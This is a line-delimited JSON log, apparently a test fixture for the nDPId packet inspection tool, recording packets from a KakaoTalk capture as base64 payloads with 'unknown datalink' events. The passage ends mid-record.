+00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069140,"pkt_ts_usec":501776,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAALJbK0AALgbyVWf2OfsKGFK8H5DHTSs\/B+7LDflVgBgADj7dAAABAQgKmPgkrAALNdR6AAAArVkC\/4gP\/deLY5qAl+gvk5f8hql5QTAwvM9Zf4dQyEAJD7QL56t1BA6CZFNB9CDoZPBzNcfqISYY4Bqx6IvbToog47dFxVed4MxS159GEgFcWpzNI6MS\/uDRtBTN\/KgQO5PWR5hOlzi0NPjPSZ5ZvXYRnArc8Dv9Cys="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069140,"pkt_ts_usec":504309,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzbEAAPwZJkgoYUrxn9jn7x00fkMsN+VUrPwhsgBAApaS6AAABAQgKAAs1\/Jj4JKw="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069141,"pkt_ts_usec":261786,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACgY+0AArAbF1ngcGvIKGFK8AFCG5WVqLr9xAeFBUBH\/\/1JPAAA="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069141,"pkt_ts_usec":403174,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjM1kAAPwZ\/FwoYUrx4HBryhuUAUHEB4UFlai7AUBA5CBlHAAA="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069141,"pkt_ts_usec":433753,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACgY\/EAArAbF1XgcGvIKGFK8AFCG5WVqLr9xAeFBUBH\/\/1JPAAA="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069141,"pkt_ts_usec":435523,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjM10AAPwZ\/FgoYUrx4HBryhuUAUHEB4UFlai7AUBA5CBlHAAA="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069141,"pkt_ts_usec":741828,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoACgAAEAArAbexXgcGvIKGFK8AFCG5WVqLsAAAAAAUAQAAKSeAAA="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00515{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069141,"pkt_ts_usec":923255,"pkt_caplen":157,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":157,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI3lSkAAPwYIYQoYUrw2\/7ns5iQUZtvqJ3tQl6xegBgAe+ktAAABAQgKAAs2irXIgpc8aXEgdG89J3hpYW9taS5jb20nIGlkPScwJyBjaGlkPScwJyB0eXBlPSdnZXQnPjxwaW5nIHhtbG5zPSd1cm46eG1wcDpwaW5nJz48L3Bpbmc+PC9pcT4NCg=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069142,"pkt_ts_usec":333991,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTWOEAALQYpzDb\/uewKGFK8FGbmJFCXrF7b6ifUgBAAZ2sMAAABAQgKtcrV6gALNoo="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069142,"pkt_ts_usec":373877,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAFfWOUAALQYpqDb\/uewKGFK8FGbmJFCXrF7b6ifUgBgAZ9bAAAABAQgKtcrV6gALNoo8aXEgY2hpZD0nMCcgaWQ9JzAnIHR5cGU9J3Jlc3VsdCcvPg=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069142,"pkt_ts_usec":383734,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTlS0AAPwYIuQoYUrw2\/7ns5iQUZtvqJ9RQl6yBgBAAe2qnAAABAQgKAAs2uLXK1eo="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":13,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069146,"pkt_ts_usec":826789,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFPzbUAAPwZJcgoYUrxn9jn7x00fkMsN+VUrPwhsgBgApZeOAAABAQgKAAs4cpj4JKwbAAAArFkC\/4gP\/deLY5qIg6dg3inW8TLcnvrnkkwr"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069147,"pkt_ts_usec":204932,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAF9bLEAALgbyp2f2OfsKGFK8H5DHTSs\/CGzLDfl0gBgADrhfAAABAQgKmPg+0gALOHInAAAArFkC\/4gP\/deLY5qIg6dg3inW5TLcnu7nkkw7fFn03dyDxLGHftrV"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":15,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069147,"pkt_ts_usec":215064,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzbkAAPwZJkAoYUrxn9jn7x00fkMsN+XQrPwiXgBAApYerAAABAQgKAAs4m5j4PtI="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":16,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069159,"pkt_ts_usec":456549,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzUvUAAPwaqhQoYUrzLzZPXvWkAUI8S6Z4AAAAAoAI2sOF5AAACBAV4BAIICgALPSMAAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":17,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069159,"pkt_ts_usec":814032,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzUvkAAPwaqhAoYUrzLzZPXvWkAUI8S6Z4AAAAAoAI2sOEVAAACBAV4BAIICgALPYcAAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":18,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":833472,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzUv0AAPwaqgwoYUrzLzZPXvWkAUI8S6Z4AAAAAoAI2sOBNAAACBAV4BAIICgALPk8AAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":19,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":864508,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACy2akAA+AYP6MvNk9cKGFK8AFC9aWNxqASPEumfYBIRHIjbAAACBAV4"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":20,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":865241,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACy9PkAA+AYJFMvNk9cKGFK8AFC9aWRnCMaPEumfYBIRHCckAAACBAV4"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":21,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":865821,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACioy0AAjgYyVNg63KEKGFK8Abvded6D6B\/TTMkUUBSjubgsAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":22,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":872473,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjUwEAAPwaqlgoYUrzLzZPXvWkAUI8S6Z9jcagFUBA2sHrIAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":23,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":872626,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjUwUAAPwaqlQoYUrzLzZPXvWkAUI8S6Z9jcagFUBA2sHrIAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":24,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01197{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069161,"pkt_ts_usec":892310,"pkt_caplen":665,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":665,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAonUwkAAPwaoMwoYUrzLzZPXvWkAUI8S6Z9jcagFUBg2sOmQAABQT1NUIGh0dHA6Ly9oa21pbm9yc2hvcnQud2VpeGluLnFxLmNvbS9jZ2ktYmluL21pY3JvbXNnLWJpbi9ydGt2cmVwb3J0IEhUVFAvMS4xDQpBY2NlcHQ6ICovKg0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LUxlbmd0aDogMzM5DQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KSG9zdDogaGttaW5vcnNob3J0LndlaXhpbi5xcS5jb20NClVzZXItQWdlbnQ6IE1pY3JvTWVzc2VuZ2VyIENsaWVudA0KDQqNXyYBAExVK9B9RwIQAsZDAI4Euk8ahPEAzAXgBqcC9NIBAi6Y6T7ZWpPJeBh\/vyi1zOrFuOhoEby2hscQS3z4z4AVrbUJzoOEiCmoyrsVNTNmAqvkuHCIDEvyvpiFV2cE0pB\/Jy5JWBf5NkQRZuKVlX9T5K\/9RyjjMWMRDpUzY77mp+yZKzUM5CUlPbu027rCQ1LI48C5AQ27\/pO9dNnMWoP69mCKGDcONnq7Ai3H0OymbpNIyCEamQAZj7hjl8Z5afcbASf2S30ykuZkMmYRqfAmjtdh3iwQO\/YN1yfoe974MbjXdmfqrbCIBgw67OlFFVhCCz2ounCdcjLuDTQu4ZqY1TF51mLQrgcZVuLCI0oeLnatSCz7YhzsdgDdY1pz0Lzo6\/QIDZiJVOjZpYIdZelHCU9O3puaahtki5gie5MoM2b+kYFe\/MiD1DFBKSQ9D+Q="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":25,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":31775,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAArAYSU8vNk9cKGFK8AFC9aWNxqAWPEumfYBD\/\/59yAAABAQEB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":26,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":130835,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACgREkAArQYAKcvNk9cKGFK8AFC9aWNxqAWPEuwAUBD\/\/68XAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":27,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00659{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":198981,"pkt_caplen":262,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":262,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcAPYRE0AArQb\/WcvNk9cKGFK8AFC9aWNxqAWPEuwAUBj\/\/7nXAABIVFRQLzEuMSAyMDAgT0sNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9bWljcm9tc2dyZXNwLmRhdA0KQ29udGVudC1MZW5ndGg6IDQ4DQoNCoJfAAAAAFUr0H1HAhACxkMAjgS6TxqE8QDMBQYGAIBAoTrtQhJTdPFrb40+\/1\/O2g=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":28,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":199164,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACgRFEAArAYBJ8vNk9cKGFK8AFC9aWNxqNOPEuwAUBH\/\/65IAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":29,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":205237,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjUw0AAPwaqkwoYUrzLzZPXvWkAUI8S7ABjcajTUBA6oHOpAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":30,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":207434,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjUxEAAPwaqkgoYUrzLzZPXvWkAUI8S7ABjcajUUBE6oHOnAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":31,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":250861,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACgRFUAArAYBJsvNk9cKGFK8AFC9aWNxqNSPEuwBUBD\/\/65HAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":32,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":715308,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADzn5UAAPwb5gwoYUrxuTI8ygMgfkPcR2OkAAAAAoAI5CAV2AAACBAV4BAIICgALPwwAAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":33,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":856879,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADwAAEAALgbyaW5MjzIKGFK8H5CAyJJ42pD3EdjqoBI4kOpNAAACBAV4BAIICkTbaagACz8MAQMDCQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":34,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":867163,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn5kAAPwb5igoYUrxuTI8ygMgfkPcR2OqSeNqRgBAAc1DtAAABAQgKAAs\/HETbaag="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":35,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069163,"pkt_ts_usec":878913,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMLn50AAPwb4+woYUrxuTI8ygMgfkPcR2OqSeNqRgBgAc+MXAAABAQgKAAs\/HUTbaagWAwEAiQEAAIUDAW\/AJ5x07YpI03eyTIApyp52T5fbgJrvB2vzSmAW7uAOAAAYwBTACsAPwAUANcATwAnADsAEAC8AlgD\/AQAARAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwAA"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":36,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":101813,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw2UAALwZAmG5MjzIKGFK8H5CAyJJ42pH3Edl4gBAAH0+uAAABAQgKRNtqrAALPx0="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":37,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01543{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069164,"pkt_ts_usec":107489,"pkt_caplen":920,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":920,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA4iw2kAALwY9Q25MjzIKGFK8H5CAyJJ42pH3Edl4gBgAH7fkAAABAQgKRNtqrAALPx0WAwEANQIAADEDAVU9H6vNjsmWl+mtXVDPy8rMyQaSc89TIWgiy02NST4MAAAvAAAJ\/wEAAQAAIwAAFgMBAwwLAAMIAAMFAAMCMIIC\/jCCAeYCCQC35xiTrUC9NTANBgkqhkiG9w0BAQUFADBBMQswCQYDVQQGEwJLUjEOMAwGA1UEBwwFU2VvdWwxDjAMBgNVBAoMBUtha2FvMRIwEAYDVQQDDAlLYWthby5jb20wHhcNMTExMjA1MDkxOTI1WhcNMjExMjAyMDkxOTI1WjBBMQswCQYDVQQGEwJLUjEOMAwGA1UEBwwFU2VvdWwxDjAMBgNVBAoMBUtha2FvMRIwEAYDVQQDDAlLYWthby5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVZgoiuC3vyjGQwWN1Y\/G2gLXrzYhnrYdBpXUgl5541Si1DUFeXudmto2X8JviTwtPM9bOMLk8c2gLTUKJmOdptp9qXnubsD89+qNi++nC9dmz3LRvRaWz6J0w7DFv5AsMOJ6cjJsqNbLBGSrO1bhrnXo6ZUpil+wYGT35WXJhxIkgnTWohNEsT6RlAImB9cuCGQz8DM7bHDsPNGhu5sjgZnnk+AeKK8FY9VV9dESDYb4of9Dakayp+JrR5MYVfASmd\/mbBSqJ+opCRNyVxwfhKPWkeZLD7Ahtlj6AFmso\/rwThAqCi3wI8KUooZ95z